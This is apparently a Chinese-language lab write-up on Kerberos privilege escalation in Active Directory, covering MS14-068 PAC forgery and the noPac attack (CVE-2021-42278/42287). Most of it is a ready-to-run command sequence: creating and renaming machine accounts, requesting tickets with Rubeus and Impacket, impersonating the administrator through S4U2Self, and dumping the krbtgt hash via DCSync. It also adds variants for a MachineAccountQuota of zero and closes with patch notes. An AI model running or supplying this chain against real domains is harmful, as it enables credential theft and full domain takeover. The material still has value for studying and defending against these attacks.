既然是伪造PAC,那么开始我们的TGT就不能产生PAC
1 2
| 客户端通过AS_REQ报文中设置PA-PAC-REQUEST-PA-DATA为false 从而使AS返回的TGT票据不包含PAC
|
PAC伪造之后,TGT是krbtgt加密的,无法将伪造的PAC插入
接着考虑TGS_REQ数据包
TGS_REQ数据包包含TGT票据、认证因子
TGT票据是不行的,但是认证因子可以
这就为伪造PAC,创造了两个条件
就可以伪造高权限PAC去访问任何服务
复现
域控:win2016 192.168.8.1
域内主机:win10 192.168.8.3
普通域用户 aim:admin@123
目前拿到win7的权限,是以aim登陆的,尝试提权到system
查看aim的SID
image-20230220233515201
利用MS14-068工具,生成票据
1
| MS14-068.exe -u aim@sayms.local -p admin@123 -s S-1-5-21-1800720312-2905234279-4070812641-1105 -d 192.168.8.1
|
image-20230220234130475
mimikatz导入票据
1 2 3
| kerberos::purge
kerberos::ptc C:\Users\tom\Desktop\MS14-068-master\TGT_tom@sayms.local.ccache
|
image-20230220234354895
尝试连接域控
image-20230220234757712
失败,应该是因为域控为win2016,已经更新该漏洞
NoPAC
两个漏洞结合,可以实现权限提升
CVE-2021-42278、CVE-2021-42287
原理
kerberos在处理username时,首先去找username,找不到就会去找username$,假如还找不到,就会去找altSecurityIdentities属性值对应的用户
其次是让KDC找不到原账户
1 2 3
| 跨域请求时,目标域找不到该域用户,所以会按照上面来找username
修改saMAccountName属性,修改该属性让KDC找不到用户,然后就来找username
|
PAC机制
1 2 3
| AS可以和用户协商,返回的TGT中不包含PAC
ST中的PAC是复制TGT的,TGT中无PAC,在正常情况下ST中也是无PAC的
|
最后就是考虑伪造PAC,而TGT中的PAC是预身份认证生成的,无法伪造,就只能考虑ST中的PAC
ST中的PAC是直接复制TGT的PAC,所以首先应该考虑不然ST复制TGT中的PAC
1 2 3
| KDC在跨域的TGS_REQ中,如果TGT无PAC,会重新生成
KDC在处理S4u2Self的TGS_REQ时,PAC是重新生成的
|
利用思路
首先用原有用户生成机器账户server$
修改机器账户server$的saMAccountName属性中的altSecurityIdentities的值为域控机器名字DC
然后用DC账户请求TGT
修改机器账户的saMAccountName属性的altSecurityIdentities的值为server$,即还原
然后用域管账户以S4u2Self协议,带上TGT来申请域控的服务
此时,KDC会查找DC这个账户,因为修改了saMAccountName属性,找不到DC账户,接着寻找DC$,此时找到了域控
然后就会以域控身份发起S4u2Self协议来访问自身的服务,此时就会返回域管的ST
1
| 需要注意的是,在域中,机器账户可以利用S4u2Self协议,来模拟任意用户来访问自身的SPN
|
操作
根据上面思路
1 2 3 4 5 6 7 8 9 10 11
| 创建机器账户
修改机器账户的saMAccountName属性
用修改之后的属性,请求TGT
复原机器账户的属性
以S4u2Self协议,发起请求ST
提权成功
|
创建机器账户
普通域内用户默认最多创建10个机器账户
普通域内账户的ms-DS-MachineAccountQuota属性来决定,默认该属性的值为10
python脚本创建
利用SAMR协议远程创建机器账户
创建的账户是没有SPN的
1
| python3 addcomputer.py -computer-name 'server' -computer-pass 'root' -dc-ip 域控ip 'sayms,local/tom:admin@12345' -method SARM -debug
|
powershell脚本创建
创建的账户是有SPN的
1 2
| Import-Module .\New-MachineAccount.ps1 New-MachineAccount -MachineAccount server -Password root
|
那么就需要清除掉
在创建的机器账户server$上执行命令去除
1 2 3
| Import-Module .\powerview.ps1
Set-DomainObject "CN=server,CN=Computers,DC=sayms,DC=local" -Clear 'serviceprincipalname' -Verbose
|
远程去除,需要提供一个拥有去除SPN权限的用户
1
| python3 addspn.py -u 'sayms.local\tom' -p admin@12345 -t 'server$' -p 域控ip
|
修改saMAcconutName属性
在创建server$的主机上面修改
powershell
1 2 3 4 5 6 7
| Import-Module .\Powermad.ps1
#查询 Get-MachineAccountAttribute -MachineAccount server -Attribute saMAccountName
#修改 Set-MachineAccountAttribute -MachineAccount server -Value "DC" -Attribute saMAccountName -Verbose
|
python脚本
1
| python3 renameMachine.py -current-name 'server$' -new-name 'DC' -dc-ip DC.sayms.local sayms.local/tom:admin@12345
|
请求TGT
1
| rubeus.exe asktgt /user:"DC" /password:"root" /domain:"sayms.local" /dc:"DC.sayms.local" /nowrap /ptt
|
复原saMAcconutName属性
1 2 3 4 5 6 7
| Import-Module .\Powermad.ps1
#查询 Get-MachineAccountAttribute -MachineAccount server -Attribute saMAccountName
#修改 Set-MachineAccountAttribute -MachineAccount server -Value "server" -Attribute saMAccountName -Verbose
|
请求ST
用S4u2Self协议以administrator身份请求ldap/DC.sayms.local服务的ST
1
| Rubeus.exe s4u /self /impersonateuser:"administator" /altservice:"ldap/DC.sayms.local" /dc:"DC.sayms.local" /ptt /ticket:上面的TGT,base64格式
|
验证是否有高权限
导出krbtgt的hash
1
| lsadump::dcsync /domain:sayms.local /user:krbtgt /csv
|
工具
可以看到,这个漏洞的利用,不管是原理还是操作,都是有些复杂的
但是有比较方便的工具
nopac.exe
1
| nopac.exe -domain sayms.local -user tom -pass admin@12345 /dc DC.sayms.local /mAccount server /mPassword root /service cifs /ptt
|
image-20230222232825297
然后就可以使用mimikatz直接导出任意用户的hash
1 2 3
| kerberos::list
lsadump::dcsync /domain:sayms.local /user:krbtgt /csv
|
Impacket
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #创建机器用户 python3 addcomputer.py -computer-name 'server' -computer-pass 'root' -dc-ip 192.168.8.1 'sayms.local/tom:admin@12345' -method SAMR
#修改机器用户的saMAcconutName属性为DC python3 renameMachine.py -current-name 'server$' -new-name 'DC' -dc-ip 192.168.8.1 sayms.local/tom:admin@12345
#以server$的身份去请求TGT,用户名为DC python3 getTGT.py -dc-ip 192.168.8.1 sayms/DC:root
#导入TGT export KRB5CCNAME=DC.ccache
#恢复saMAcconutName属性 python3 renameMachine.py -current-name 'DC' -new-name 'server$' -dc-ip DC.sayms.local sayms.local/tom:admin@12345
#以S4u2Self协议,用administrator身份去请求域控DC.sayms.local的服务 python3 getST.py -spn cifs/DC.sayms,local sayms/DC@域控ip -no-pass -k -dc-ip 域控ip -impersonate administrator -self
#导入ST export KRB5CCNAME=administrator.ccache
#验证,导出krbtgt的hash python3 secretsdump.py DC.sayms.local -k -no-pass -just-dc-user krbtgt
|
sam_the_admin
1 2 3 4 5 6
| python3 sam_the_admin.py "sayms/tom:admin@12345" -dc-ip 域控ip -shell
python3 sam_the_admin.py "sayms/tom:admin@12345" -dc-ip 域控ip -dump
|
相比较来说,sam_the_admin最容易实现
MAQ为0的攻击
MAQ是普通域内用户账户能够添加机器账户的数量,默认为10,如果设置为0,我们就无法按照上面的方法进行nopac攻击
此时就考虑到用域内已经存在的机器账户,拿来利用
对于修改saMAccountName属性,发现只有域管和将主机加入域的用户,才能对该属性进行修改
然后下面的利用就分为两种情况
1 2 3
| 获得了域内已经存在的机器权限
获取了将机器加入域的用户权限
|
如果获得了域内已经存在的机器权限
如果我们获取了域内一台主机的最高权限,假设是WIN7
首先找,是谁将该主机加入的域
1 2 3 4 5 6 7 8
| 先查取该机器的mS-DS-CreatorSID属性,找到SID 然后用该SID,找到对应用户,即将该主机加入域的用户
#查取mS-DS-CreatorSID属性 AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID
#找到SID对应的用户 AdFind.exe -sc adsid:刚才查询的SID值 -dn
|
假如通过上面的发现,是tom将主机加入的域
想要接着后续利用,就想要知道tom的密码
先查询WIN7$的SPN,需要WIN7的hash值,因为前提是我们已经拿到了WIN7的权限,所以直接用mimikatz导出hash
1
| python3 addspn.py -u 'xie.com\WIN7$' -P 哈希值 -t 'win10$' -q 域控ip
|
然后删除SPN
1
| python3 addspn.py -u 'xie.com\WIN7$' -P 哈希值 -t 'win10$' -c 域控ip
|
然后和以前一样
1 2 3 4 5 6 7 8 9 10 11
| 将机器账户的saMAccountName属性修改为域控名
以机器账户身份申请TGT
导入TGT
恢复saMAccountName属性
申请ST
导入ST
|
如果获取了将机器加入域的用户权限
前提,是tom将WIN7加入的域
现在我们获得了tom的权限
从上面可以知道,我们使用有权限的WIN7,唯一用的就是WIN7$的hash
现在就算没有win7的权限,我们只需要想办法,把WIN7$的hash弄出来就行
我们现在拥有tom这个特殊账户的权限,可以考虑用tom拿到hash
通过mimikatz,利用SAMR协议,修改win7$密码
1
| lsadump::SETNTLM /server:域控ip /user:win7$ /password:123456
|
获取到密码之后,用法就和上面一样了
漏洞修复
主要是两个补丁KB5008102、KB5008308
KB5008102
主要是检查非管理员权限的用户创建或者修改saMAccountName属性和UserAccountControl属性,需要进行检查
KB5008380
在TGS_REP阶段,会将TGT中的pac和TGS_REQ中的pac进行检查,查看两个pac的信息是否相同
整体总结
image-20230304150501801